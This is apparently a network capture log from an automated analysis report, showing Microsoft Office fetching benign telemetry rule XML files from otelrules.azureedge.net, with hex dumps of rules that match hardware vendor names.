Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221223Z-185f5d8b95crwqd8hC1NYCps680000000aq000000001hfnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221223Z-178bfbc474bpnd5vhC1NYC4vr400000000m000000000d97u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221223Z-r1d97b99577ckpmjhC1TEBrzs000000009mg000000001f2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221224Z-1777c6cb7549x5qchC1TEBggbg0000000a7g00000000grfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221226Z-185f5d8b95cwtv72hC1NYC141w0000000ar000000000v4nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: e592c5af-601e-000d-69fb-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221226Z-1777c6cb754xrr98hC1TEB3kag00000009xg00000000xwwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: b54876a2-a01e-0070-6764-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221226Z-178bfbc474bkvpdnhC1NYCuu2w00000000g000000000xgs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 8801ae34-d01e-0065-3299-3bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221226Z-r1d97b99577tssmjhC1TEB8kan00000009b000000000e57d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221226Z-178bfbc474bbbqrhhC1NYCvw7400000000ng000000017phf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221228Z-178bfbc474bfw4gbhC1NYCunf400000000m000000000hqv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221228Z-178bfbc474bxkclvhC1NYC69g400000000gg000000005b1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:28 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221228Z-178bfbc474b7cbwqhC1NYC8z4n00000000kg0000000007zm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 